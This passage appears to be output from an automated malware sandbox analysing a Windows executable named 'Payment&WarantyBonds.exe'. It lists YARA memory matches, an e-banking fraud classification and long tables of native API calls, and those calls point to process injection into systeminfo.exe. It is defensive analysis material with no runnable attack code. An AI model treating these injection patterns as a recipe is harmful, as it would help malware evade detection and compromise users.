Source: systeminfo.exe, 00000007.00000002.4150949460.0000000007590000.00000004.00000800.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.west.cn/ykj/view.asp?domain=cotti.club

E-Banking Fraud

Initial sample is a PE file and has a suspicious name

Source: Yara match	File source: 2.2.Payment&WarantyBonds.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Payment&WarantyBonds.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4148413603.0000000000B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2063986251.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4148359872.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4147225829.0000000000550000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2062501078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4150364860.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4148377228.0000000002EC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2064136057.00000000021E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: initial sample

Static PE information: Filename: Payment&WarantyBonds.exe

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07302294 NtQueryInformationProcess,	0_2_07302294
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07306308 NtQueryInformationProcess,	0_2_07306308
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0042C483 NtClose,	2_2_0042C483
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014635C0 NtCreateMutant,LdrInitializeThunk,	2_2_014635C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462B60 NtClose,LdrInitializeThunk,	2_2_01462B60
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_01462DF0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_01462C70
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01463010 NtOpenDirectoryObject,	2_2_01463010
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01463090 NtSetValueKey,	2_2_01463090
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01464340 NtSetContextThread,	2_2_01464340
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01464650 NtSuspendThread,	2_2_01464650
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014639B0 NtGetContextThread,	2_2_014639B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462BE0 NtQueryValueKey,	2_2_01462BE0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462BF0 NtAllocateVirtualMemory,	2_2_01462BF0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462B80 NtQueryInformationFile,	2_2_01462B80
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462BA0 NtEnumerateValueKey,	2_2_01462BA0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462AD0 NtReadFile,	2_2_01462AD0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462AF0 NtWriteFile,	2_2_01462AF0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462AB0 NtWaitForSingleObject,	2_2_01462AB0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01463D70 NtOpenThread,	2_2_01463D70
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462D00 NtSetInformationFile,	2_2_01462D00
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462D10 NtMapViewOfSection,	2_2_01462D10
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01463D10 NtOpenProcessToken,	2_2_01463D10
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462D30 NtUnmapViewOfSection,	2_2_01462D30
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462DD0 NtDelayExecution,	2_2_01462DD0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462DB0 NtEnumerateKey,	2_2_01462DB0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462C60 NtCreateKey,	2_2_01462C60
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462C00 NtQueryInformationProcess,	2_2_01462C00
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462CC0 NtQueryVirtualMemory,	2_2_01462CC0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462CF0 NtOpenProcess,	2_2_01462CF0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462CA0 NtQueryInformationToken,	2_2_01462CA0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462F60 NtCreateProcessEx,	2_2_01462F60
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462F30 NtCreateSection,	2_2_01462F30
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462FE0 NtCreateFile,	2_2_01462FE0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462F90 NtProtectVirtualMemory,	2_2_01462F90
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462FA0 NtQuerySection,	2_2_01462FA0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462FB0 NtResumeThread,	2_2_01462FB0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462E30 NtWriteVirtualMemory,	2_2_01462E30
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462EE0 NtQueueApcThread,	2_2_01462EE0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462E80 NtReadVirtualMemory,	2_2_01462E80
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01462EA0 NtAdjustPrivilegesToken,	2_2_01462EA0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A4650 NtSuspendThread,LdrInitializeThunk,	7_2_047A4650
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A4340 NtSetContextThread,LdrInitializeThunk,	7_2_047A4340
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2C70 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_047A2C70
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2C60 NtCreateKey,LdrInitializeThunk,	7_2_047A2C60
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2CA0 NtQueryInformationToken,LdrInitializeThunk,	7_2_047A2CA0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2D30 NtUnmapViewOfSection,LdrInitializeThunk,	7_2_047A2D30
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2D10 NtMapViewOfSection,LdrInitializeThunk,	7_2_047A2D10
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2DF0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_047A2DF0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2DD0 NtDelayExecution,LdrInitializeThunk,	7_2_047A2DD0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2EE0 NtQueueApcThread,LdrInitializeThunk,	7_2_047A2EE0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2E80 NtReadVirtualMemory,LdrInitializeThunk,	7_2_047A2E80
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2F30 NtCreateSection,LdrInitializeThunk,	7_2_047A2F30
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2FE0 NtCreateFile,LdrInitializeThunk,	7_2_047A2FE0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2FB0 NtResumeThread,LdrInitializeThunk,	7_2_047A2FB0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2AF0 NtWriteFile,LdrInitializeThunk,	7_2_047A2AF0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2AD0 NtReadFile,LdrInitializeThunk,	7_2_047A2AD0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2B60 NtClose,LdrInitializeThunk,	7_2_047A2B60
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	7_2_047A2BF0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2BE0 NtQueryValueKey,LdrInitializeThunk,	7_2_047A2BE0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2BA0 NtEnumerateValueKey,LdrInitializeThunk,	7_2_047A2BA0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A35C0 NtCreateMutant,LdrInitializeThunk,	7_2_047A35C0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A39B0 NtGetContextThread,LdrInitializeThunk,	7_2_047A39B0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2C00 NtQueryInformationProcess,	7_2_047A2C00
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2CF0 NtOpenProcess,	7_2_047A2CF0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2CC0 NtQueryVirtualMemory,	7_2_047A2CC0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2D00 NtSetInformationFile,	7_2_047A2D00
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2DB0 NtEnumerateKey,	7_2_047A2DB0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2E30 NtWriteVirtualMemory,	7_2_047A2E30
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2EA0 NtAdjustPrivilegesToken,	7_2_047A2EA0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2F60 NtCreateProcessEx,	7_2_047A2F60
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2FA0 NtQuerySection,	7_2_047A2FA0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2F90 NtProtectVirtualMemory,	7_2_047A2F90
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2AB0 NtWaitForSingleObject,	7_2_047A2AB0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A2B80 NtQueryInformationFile,	7_2_047A2B80
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A3010 NtOpenDirectoryObject,	7_2_047A3010
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A3090 NtSetValueKey,	7_2_047A3090
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A3D70 NtOpenThread,	7_2_047A3D70
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A3D10 NtOpenProcessToken,	7_2_047A3D10
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00578FE0 NtCreateFile,	7_2_00578FE0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00579140 NtReadFile,	7_2_00579140
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00579230 NtDeleteFile,	7_2_00579230
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_005792D0 NtClose,	7_2_005792D0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00579440 NtAllocateVirtualMemory,	7_2_00579440

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_0284EF04	0_2_0284EF04
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07303658	0_2_07303658
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07302388	0_2_07302388
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07309D60	0_2_07309D60
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07305720	0_2_07305720
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07303649	0_2_07303649
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07306490	0_2_07306490
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07302378	0_2_07302378
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_073052E8	0_2_073052E8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07309FF0	0_2_07309FF0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07309FE2	0_2_07309FE2
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07308E39	0_2_07308E39
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07308E48	0_2_07308E48
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07309D50	0_2_07309D50
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_07305BE0	0_2_07305BE0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_0B156BB0	0_2_0B156BB0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_0B152BE8	0_2_0B152BE8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_0B150838	0_2_0B150838
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_0B1510A8	0_2_0B1510A8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_0B1527B0	0_2_0B1527B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_0B1527A2	0_2_0B1527A2
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_0B150C70	0_2_0B150C70
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004184B3	2_2_004184B3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0040E053	2_2_0040E053
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00402196	2_2_00402196
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00401220	2_2_00401220
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0042EA83	2_2_0042EA83
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00402372	2_2_00402372
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00402380	2_2_00402380
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0040FDAA	2_2_0040FDAA
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0040FDB3	2_2_0040FDB3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004026D2	2_2_004026D2
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004026E0	2_2_004026E0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004166EE	2_2_004166EE
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004166F3	2_2_004166F3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004166AC	2_2_004166AC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00402F10	2_2_00402F10
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0040FFD3	2_2_0040FFD3
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014B8158	2_2_014B8158
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014FB16B	2_2_014FB16B
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0146516C	2_2_0146516C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141F172	2_2_0141F172
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01420100	2_2_01420100
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CA118	2_2_014CA118
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E81CC	2_2_014E81CC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F01AA	2_2_014F01AA
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143B1B0	2_2_0143B1B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DF0CC	2_2_014DF0CC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014370C0	2_2_014370C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E70E9	2_2_014E70E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EF0E0	2_2_014EF0E0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0141D34C	2_2_0141D34C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EA352	2_2_014EA352
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E132D	2_2_014E132D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F03E6	2_2_014F03E6
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143E3F0	2_2_0143E3F0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0147739A	2_2_0147739A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0274	2_2_014D0274
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B2C0	2_2_0144B2C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D12ED	2_2_014D12ED
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144D2F0	2_2_0144D2F0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014352A0	2_2_014352A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E7571	2_2_014E7571
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430535	2_2_01430535
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014F0591	2_2_014F0591
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CD5B0	2_2_014CD5B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E2446	2_2_014E2446
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01421460	2_2_01421460
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EF43F	2_2_014EF43F
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DE4F6	2_2_014DE4F6
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01454750	2_2_01454750
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430770	2_2_01430770
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142C7C0	2_2_0142C7C0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EF7B0	2_2_014EF7B0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E16CC	2_2_014E16CC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144C6E0	2_2_0144C6E0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01439950	2_2_01439950
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144B950	2_2_0144B950
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01446962	2_2_01446962
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014329A0	2_2_014329A0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014FA9A6	2_2_014FA9A6
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01432840	2_2_01432840
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143A840	2_2_0143A840
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0149D800	2_2_0149D800
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014338E0	2_2_014338E0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0145E8F0	2_2_0145E8F0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014168B8	2_2_014168B8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EAB40	2_2_014EAB40
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EFB76	2_2_014EFB76
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E6BD7	2_2_014E6BD7
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A5BF0	2_2_014A5BF0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0146DBF9	2_2_0146DBF9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144FB80	2_2_0144FB80
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EFA49	2_2_014EFA49
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E7A46	2_2_014E7A46
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A3A6C	2_2_014A3A6C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014DDAC6	2_2_014DDAC6
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142EA80	2_2_0142EA80
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014CDAAC	2_2_014CDAAC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01475AA0	2_2_01475AA0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01433D40	2_2_01433D40
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E1D5A	2_2_014E1D5A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014E7D73	2_2_014E7D73
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0143AD00	2_2_0143AD00
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0144FDC0	2_2_0144FDC0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0142ADE0	2_2_0142ADE0
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01448DBF	2_2_01448DBF
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430C00	2_2_01430C00
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A9C32	2_2_014A9C32
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01420CF2	2_2_01420CF2
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EFCF2	2_2_014EFCF2
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014D0CB5	2_2_014D0CB5
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014A4F40	2_2_014A4F40
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EFF09	2_2_014EFF09
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01472F28	2_2_01472F28
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01450F30	2_2_01450F30
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01422FC8	2_2_01422FC8
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01431F92	2_2_01431F92
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EFFB1	2_2_014EFFB1
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01430E59	2_2_01430E59
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EEE26	2_2_014EEE26
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014EEEDB	2_2_014EEEDB
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01442E90	2_2_01442E90
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014ECE93	2_2_014ECE93
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_01439EB0	2_2_01439EB0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0481E4F6	7_2_0481E4F6
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04814420	7_2_04814420
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04822446	7_2_04822446
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04830591	7_2_04830591
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04770535	7_2_04770535
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0478C6E0	7_2_0478C6E0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04770770	7_2_04770770
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04794750	7_2_04794750
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0476C7C0	7_2_0476C7C0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04802000	7_2_04802000
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_048241A2	7_2_048241A2
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047F8158	7_2_047F8158
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_048301AA	7_2_048301AA
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_048281CC	7_2_048281CC
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04760100	7_2_04760100
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0480A118	7_2_0480A118
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047F02C0	7_2_047F02C0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04810274	7_2_04810274
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_048303E6	7_2_048303E6
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0477E3F0	7_2_0477E3F0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482A352	7_2_0482A352
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04810CB5	7_2_04810CB5
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04770C00	7_2_04770C00
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04760CF2	7_2_04760CF2
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0477AD00	7_2_0477AD00
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0476ADE0	7_2_0476ADE0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0480CD1F	7_2_0480CD1F
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04788DBF	7_2_04788DBF
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482CE93	7_2_0482CE93
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04770E59	7_2_04770E59
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482EEDB	7_2_0482EEDB
